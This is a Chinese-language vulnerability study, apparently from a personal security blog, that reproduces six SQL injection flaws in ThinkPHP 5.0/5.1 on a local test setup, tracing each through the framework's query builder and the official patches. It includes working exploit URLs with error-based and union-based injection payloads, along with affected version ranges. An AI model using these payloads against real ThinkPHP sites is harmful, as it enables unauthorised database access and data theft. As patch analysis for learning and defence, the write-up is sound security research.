基础设施

大致扫一遍ThinkPHP官方的《完全开发手册》,知道有疑问时应该去哪个章节找就行。

  1. 通过composer拉取项目

composer create-project --prefer-dist topthink/think=5.0.15 tpdemo

  1. 调整composer.json中的依赖为需要测试的具体版本
1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
},
  1. 执行composer update更新项目

  2. 创建mysql数据库

1
2
3
4
5
6
7
8
9
10
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'hoschen');
create user tpdemo@localhost identified by 'passwd';
grant all on tpdemo.* to tpdemo@localhost;
flush privileges;
  1. 配置application/database.php中对应参数

  2. application/config.php中的app_debugapp_trace改为true,用于回显错误

  3. 编写application/index/controller/Index.php模块的代码构造漏洞输入点

SQL注入1

Builder类(thinkphp/library/think/db/Builder.php)的parseData方法,将未过滤的用户输入拼接进insert/update语句,存在SQL注入漏洞。

影响版本:

  • 5.0.13<=ThinkPHP<=5.0.15
  • 5.1.0<=ThinkPHP<=5.1.5
1
http://localhost/tpdemo/public/index.php?s=/index/index/index&username[0]=inc&username[1]=exp(~(select * from(select user())a))&username[2]=1

漏洞分析

5.0.16版本更新说明中表示包含一个安全更新,具体看到改进inc/dec查询这个commit

将源码版本更新为5.0.15,由thinkphp/library/think/db/Builder.php的113行可知触发这部分逻辑需要传入一个数组:

全局搜索对应的parseData方法,看到可以由718行的insert方法或是由823行的update方法触发。编写对应触发逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace app\index\controller;

class Index
{
public function index()
{
// 通过request助手函数的get方法,获取$_GET['username']的数据
$username = request()->get('username/a');
// 通过db助手函数的insert方法,传入username数组(上面/a修饰符表示数组类型)
db('users')->insert(['username' => $username]);
// 也可以通过update方法
// db('users')->where('id',1)->update(['username' => $username]);
return 'Update success';
}
}

跟一下变量的传递过程可知,username即对应我们需要触发的那段逻辑中switch语句的$val,于是传入username[0]=dec&username[1]=a&username[2]=1进行动态调试,中间经过parseKey等函数后最终生成的sql语句:

显然str_replace函数是一个功能性函数,而并非是安全过滤函数,最终使得用户提供的数据被直接拼接进SQL语句中。

因为username[0]用于控制switch语句条件、username[2]会经过floatval函数强转,所以尝试通过username[1]传入报错注入Payload:

username[0]=dec&username[1]=(extractvalue(1,concat(0x7e,(select user()),0x7e)))&username[2]=1

得到报错:1105 Only constant XPATH queries are supported,XPATH系列用不了,换一种:

username[0]=dec&username[1]=exp(~(select * from(select user())a))&username[2]=1

最终拼接而成的SQL语句为:

"INSERT INTO `users` (`username`) VALUES (exp(~(select * from(select user())a))-1) "

update方法类似就不再赘述了,需要注意的是官方修复时仅处理了incdec条件,但是并没有改动同样在switch语句中的exp条件,原因是当username[0]exp时,会被thinkphp/library/think/Request.php中1096行的filterExp方法替换为exp[空格],最终因为不满足switch语句的任意条件被结束。

SQL注入2

Builder类(thinkphp/library/think/db/Builder.php)的parseArrayData方法,将未过滤的用户输入拼接进insert/insertAll/update语句,存在SQL注入漏洞。

影响版本:

  • 5.1.6<=ThinkPHP<=5.1.7、以及部分5.1.8
1
http://localhost/tpdemo/public/index.php?s=/index/index/index&username[0]=point&username[1]=a&username[2]=exp(~(select * from(select user())a))^&username[3]=a

漏洞分析

5.1.9版本更新说明中表示包含一个安全更新,具体看到改进mysql驱动这个commit

直接删掉了default分支和parseArrayData方法。将源码版本更新为5.1.17,可以看到基本与SQL注入1逻辑相同。

全局搜索对应的parseData方法,看到可由1030行的insert方法、1063行的insertAll方法或是由1134行的update方法触发。需要编写的对应触发逻辑用SQL注入1的就行,而且多了一种触发方式:

1
2
// insertAll方法接收一个二维数组
db('users')->insertAll([['username' => $username]]);

跟一下变量的传递过程可知,username依然对应我们需要触发的那段逻辑中switch语句的$val,这次进入default分支跟进parseArrayData方法,看到需要让username[0]point不然就会嗝屁:

因此传入username[0]=point&username[1]=a&username[2]=b&username[3]=c进行动态调试,中间经过parseData等函数后最终生成的sql语句:

方便起见直接在b的位置传入报错注入Payload并闭合语句:

username[0]=point&username[1]=a&username[2]=exp(~(select * from(select user())a))^&username[3]=a

最终拼接而成的SQL语句为:

"INSERT INTO `users` (`username`) VALUES (exp(~(select * from(select user())a))^('a(a)')) "

  • updateinsertAll方法同理

SQL注入3

Builder类(thinkphp/library/think/db/Builder.php)的parseWhereItem方法,将未过滤完全的用户输入拼接进where语句,存在SQL注入漏洞。

影响版本:

  • 5.0.10
1
http://localhost/tpdemo/public/index.php?s=/index/index/index&username[0]=not%20like&username[1][0]=%%&username[1][1]=anything&username[2]=)%20union%20select%20database(),user()%23

漏洞分析

5.0.11版本更新说明中表示包含一个安全更新,具体看到改进Request类filterExp方法这个commit,增加了对not like的过滤。

凡是使用框架提供的请求变量获取方法(Request类param方法及input助手函数),都会经过这个filterExp方法的过滤。针对not like操作符,编写对应的where方法触发逻辑:

1
2
3
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);

相比前两个代码改动直接在漏洞点的补丁分析,这里的代码改动是在全局过滤函数的规则上,该如何根据这个变动敏感地嗅探到能被利用漏洞点呢?这是需要之后进一步思考的地方。

带着这个问题动态调试可以发现,输入流过程中有很多针对数组的解析函数,也会理解Payload要这样构造的原因:当然就是要满足一些if判断逻辑,让输入流进入到预期漏洞代码块了hhh(废话)

  • 因为PHP7的原因,需要调整一下implode函数的参数顺序

一波拼接操作后生成的whereStr"(`username` NOT LIKE '%%' ) UNION SELECT DATABASE(),USER()# `username` NOT LIKE 'anything')"

这样就能让username字段匹配不到NULL之外的值避免占据回显点位,同时注释掉后面被implode函数合并进来的副作用语句,避免语法错误。

最终带入数据库执行的SQL语句为:

官方在个版本里新引入了NOT LIKE这个操作符,但是没加上对应的过滤规则导致了漏洞的产生。

SQL注入4

特定模式(exp)下的SQL语句执行:

影响版本:

  • 全版本
1
http://localhost/tpdemo/public/index.php?s=/index/index/index&username=) union select database(),user()%23

漏洞分析

这里官方认为属于正常功能不作修复,因此不存在补丁更新对比。编写对应触发逻辑来调试分析一下:

1
2
3
$username = request()->get('username/a');
$result = db('users')->where(['username' => $username])->select();
var_dump($result);

流程与上一个洞类似就不赘述了,查看《ThinkPHP5.0完全开发手册》193页可以看到说明了exp模式就是用作SQL语法模式的,所以我个人觉得官方不认为这是一个漏洞也在情理之中。

SQL注入5

Builder类(thinkphp/library/think/db/Builder.php)的parseOrder方法,将未过滤的用户输入拼接进select/update/delete语句,存在SQL注入漏洞。

影响版本:

  • 5.1.16<=ThinkPHP<=5.1.22
1
http://localhost/tpdemo/public/index.php?s=/index/index/index&orderby[id`|updatexml(1,concat(0x7e,(select user()),0x7e),1)%23]=1

漏洞分析

5.1.23版本更新说明中表示改进了order方法的数组方式解析增强安全性,具体看到改进order方法解析这个commit

增加了对)#符号的判断。将源码版本更新为5.1.22,全局搜索parseOrder方法,看到可以由1037行的select方法、1170行的update方法或是由1206行的delete方法触发。编写对应触发逻辑:

1
2
3
4
5
6
7
$orderby = request()->get('orderby');
// $result = db('users')->where(['username' => 'hoschen'])->order($orderby)->find();
// 也可以通过update方法,
// db('users')->where('id', 1)->order($orderby)->update(['username' => 'hoschen']);
// 还可以通过delete方法,支持XPATH系列函数
db('users')->where('id', 1)->order($orderby)->delete();
var_dump($result);

这里传入Payload动态调试后可以发现拼接而成的SQL语句为:"DELETE FROM `users` WHERE `id` = :where_AND_id ORDER BY `id`|updatexml(1,concat(0x7e,(select user()),0x7e),1)#` "

为啥这里用的delete方法?因为在我的环境下前两种方法都会得到报错:1105 Only constant XPATH queries are supported,而通过exp等函数整数溢出报错也无效,希望知道原因的师傅指点我一下。

SQL注入6

聚合查询方法将未过滤的用户输入拼接进SQL语句中,存在SQL注入漏洞。

影响版本:

  • 5.0.0<=ThinkPHP<=5.0.21
  • 5.1.3<=ThinkPHP<=5.1.25
1
2
// 5.1.11~5.1.25需要改为 id`)
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

漏洞分析

5.1.26版本更新说明中表示包含一个安全更新,具体看到改进mysql驱动和sqlsrv驱动这个commit

只允许字母、数字、下划线、点号、星号,不然抛出异常。

  • 因为对框架不熟悉,想根据这类补丁对比找出具体的漏洞发生点实在是困难,得多学习历史漏洞积累经验才行。这里也由于暂未复现成功,只能先搁置一下了

参考链接

ThinkPHP-Vuln